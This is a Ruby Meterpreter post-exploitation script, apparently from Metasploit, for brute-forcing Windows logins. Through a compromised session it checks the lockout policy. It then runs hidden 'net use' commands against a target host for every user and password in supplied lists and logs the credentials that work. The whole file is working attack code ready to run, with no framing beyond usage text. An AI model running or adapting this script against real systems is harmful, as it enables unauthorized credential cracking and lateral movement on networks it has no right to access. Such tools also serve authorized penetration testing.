206 lines
6.0 KiB
Ruby
206 lines
6.0 KiB
Ruby
|
#!/usr/bin/env ruby
|
||
|
|
||
|
#Meterpreter script for brute forcin logins on Windows 2003, Windows Vista
|
||
|
#Windows 2008 and Windows XP targets using native windows commands.
|
||
|
#Provided by Carlos Perez at carlos_perez[at]darkoperator.com
|
||
|
#Verion: 0.1.0
|
||
|
#Note: For some reason Multi-Threading Net use gives a lot of false positives
|
||
|
################## Variable Declarations ##################
|
||
|
@@exec_opts = Rex::Parser::Arguments.new(
|
||
|
"-h" => [ false, "\tHelp menu."],
|
||
|
"-t" => [ true, "\tTarget IP Address"],
|
||
|
"-p" => [ true, "\tPassword List"],
|
||
|
"-cp" => [ false, "\tCheck Local Machine Password Policy"],
|
||
|
"-L" => [ true, "\tUsername List to be brute forced"],
|
||
|
"-l" => [ true, "\tLogin name to be brute forced"]
|
||
|
)
|
||
|
# Variables for Options
|
||
|
user = []
|
||
|
ulopt = nil
|
||
|
userlist = nil
|
||
|
passlist = nil
|
||
|
target = nil
|
||
|
helpcall = 0
|
||
|
|
||
|
# The 'client' object holds the Meterpreter session
|
||
|
# Aliasing here for plugin compatibility
|
||
|
session = client
|
||
|
|
||
|
################## Function Definition ##################
|
||
|
# Function for checking the password policy of current system.
|
||
|
# This policy may resemble the policy of other servers in the
|
||
|
#target enviroment.
|
||
|
def chkpolicy(session)
|
||
|
print_status("Checking password policy...")
|
||
|
output = []
|
||
|
begin
|
||
|
r = session.sys.process.execute("net accounts", nil, {'Hidden' => true, 'Channelized' => true})
|
||
|
while(d = r.channel.read)
|
||
|
output << d
|
||
|
end
|
||
|
r.channel.close
|
||
|
r.close
|
||
|
# Parsing output of net accounts
|
||
|
lockout = output.to_s.scan(/Lockout\sthreshold:\s*(\d*)/)
|
||
|
minpass = output.to_s.scan(/Minimum\spassword\slength:\s*(\d*)/)
|
||
|
failcount = output.to_s.scan(/Lockout\sobservation\swindow\s\(minutes\)\:\s*(\d*)/)
|
||
|
lcktime = output.to_s.scan(/Lockout\sduration\s\(minutes\)\:\s*(\d*)/)
|
||
|
# check for account lockout
|
||
|
if lockout.empty?
|
||
|
print_status "\tNo account lockout threshold configured"
|
||
|
else
|
||
|
print_status "\tWARNING Lockout threshold configured, if #{lockout} attempts in #{failcount} minutes account will be locked"
|
||
|
print_status "\tThe account will be locked out for #{lcktime}"
|
||
|
end
|
||
|
# check for password lenght
|
||
|
if minpass.to_s == "0"
|
||
|
print_status "\tNo minimun password lenght is configured"
|
||
|
else
|
||
|
print_status "\tThe minumun password lengh configured is #{minpass}"
|
||
|
print_status "\tyour dictionary should start with passwords of #{minpass} length"
|
||
|
end
|
||
|
rescue ::Exception => e
|
||
|
print_status("The following Error was encountered: #{e.class} #{e}")
|
||
|
end
|
||
|
end
|
||
|
#--------------------------------------------------------
|
||
|
|
||
|
# Function for brute forcing passwords using windows native tools
|
||
|
def passbf(session,passlist,target,user,opt,logfile)
|
||
|
print_status("Running Brute force attack against #{user}")
|
||
|
print_status("Successfull Username and Password pairs are being saved in #{logfile}")
|
||
|
result = []
|
||
|
output = []
|
||
|
passfnd = 0
|
||
|
a = []
|
||
|
i = 0
|
||
|
if opt == 1
|
||
|
if not ::File.exists?(user)
|
||
|
raise "Usernames List File does not exists!"
|
||
|
else
|
||
|
user = ::File.open(user, "r")
|
||
|
end
|
||
|
end
|
||
|
# Go thru each user
|
||
|
user.each do |u|
|
||
|
# Go thru each line in the password file
|
||
|
while passfnd < 1
|
||
|
::File.open(passlist, "r").each_line do |line|
|
||
|
begin
|
||
|
print_status("Trying #{u.chomp} #{line.chomp}")
|
||
|
|
||
|
# Command for testing local login credentials
|
||
|
r = session.sys.process.execute("cmd /c net use \\\\#{target} #{line.chomp} /u:#{u.chomp}", nil, {'Hidden' => true, 'Channelized' => true})
|
||
|
while(d = r.channel.read)
|
||
|
output << d
|
||
|
end
|
||
|
r.channel.close
|
||
|
r.close
|
||
|
|
||
|
# Checks if password is found
|
||
|
result = output.to_s.scan(/The\scommand\scompleted\ssuccessfully/)
|
||
|
if result.length == 1
|
||
|
print_status("\tUser: #{u.chomp} pass: #{line.chomp} found")
|
||
|
filewrt(logfile,"User: #{u.chomp} pass: #{line.chomp}")
|
||
|
r = session.sys.process.execute("cmd /c net use \\\\#{target} /delete", nil, {'Hidden' => true, 'Channelized' => true})
|
||
|
while(d = r.channel.read)
|
||
|
output << d
|
||
|
end
|
||
|
output.clear
|
||
|
r.channel.close
|
||
|
r.close
|
||
|
passfnd = 1
|
||
|
break
|
||
|
end
|
||
|
rescue ::Exception => e
|
||
|
print_status("The following Error was encountered: #{e.class} #{e}")
|
||
|
end
|
||
|
|
||
|
end
|
||
|
passfnd = 1
|
||
|
end
|
||
|
passfnd = 0
|
||
|
end
|
||
|
end
|
||
|
#--------------------------------------------------------
|
||
|
|
||
|
# Function for writing results of other functions to a file
|
||
|
def filewrt(file2wrt, data2wrt)
|
||
|
output = ::File.open(file2wrt, "a")
|
||
|
data2wrt.each do |d|
|
||
|
output.puts(d)
|
||
|
end
|
||
|
output.close
|
||
|
end
|
||
|
#--------------------------------------------------------
|
||
|
# Function for creating log file
|
||
|
def logme(target)
|
||
|
|
||
|
# Create Filename info to be appended to files
|
||
|
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")+sprintf("%.5d",rand(100000))
|
||
|
|
||
|
# Create a directory for the logs
|
||
|
logs = ::File.join(Msf::Config.config_directory, 'logs', 'winbf', target)
|
||
|
|
||
|
# Create the log directory
|
||
|
::FileUtils.mkdir_p(logs)
|
||
|
|
||
|
#logfile name
|
||
|
dest = logs + "/" + target + filenameinfo
|
||
|
|
||
|
dest
|
||
|
end
|
||
|
#--------------------------------------------------------
|
||
|
################## MAIN ##################
|
||
|
|
||
|
# Parsing of Options
|
||
|
@@exec_opts.parse(args) { |opt, idx, val|
|
||
|
case opt
|
||
|
when "-l"
|
||
|
user << val
|
||
|
ulopt = 0
|
||
|
when "-L"
|
||
|
userlist = val
|
||
|
ulopt = 1
|
||
|
|
||
|
when "-cp"
|
||
|
chkpolicy(session)
|
||
|
exit
|
||
|
when "-p"
|
||
|
|
||
|
passlist = val
|
||
|
if not ::File.exists?(passlist)
|
||
|
raise "Password File does not exists!"
|
||
|
end
|
||
|
when "-t"
|
||
|
target = val
|
||
|
when "-h"
|
||
|
print(
|
||
|
"Windows Login Brute Force Meterpreter Script\n" +
|
||
|
"Usage:\n" +
|
||
|
@@exec_opts.usage
|
||
|
)
|
||
|
helpcall = 1
|
||
|
end
|
||
|
|
||
|
}
|
||
|
|
||
|
# Execution of options selected
|
||
|
if user.length > 0 && passlist != nil && target != nil
|
||
|
|
||
|
passbf(session,passlist,target,user,ulopt,logme(target))
|
||
|
|
||
|
elsif userlist != nil && passlist != nil && target != nil
|
||
|
|
||
|
passbf(session,passlist,target,userlist,ulopt,logme(target))
|
||
|
|
||
|
elsif helpcall == 0
|
||
|
|
||
|
print(
|
||
|
"Windows Login Brute Force Meterpreter Script\n" +
|
||
|
"Usage:\n" +
|
||
|
@@exec_opts.usage
|
||
|
)
|
||
|
end
|
||
|
|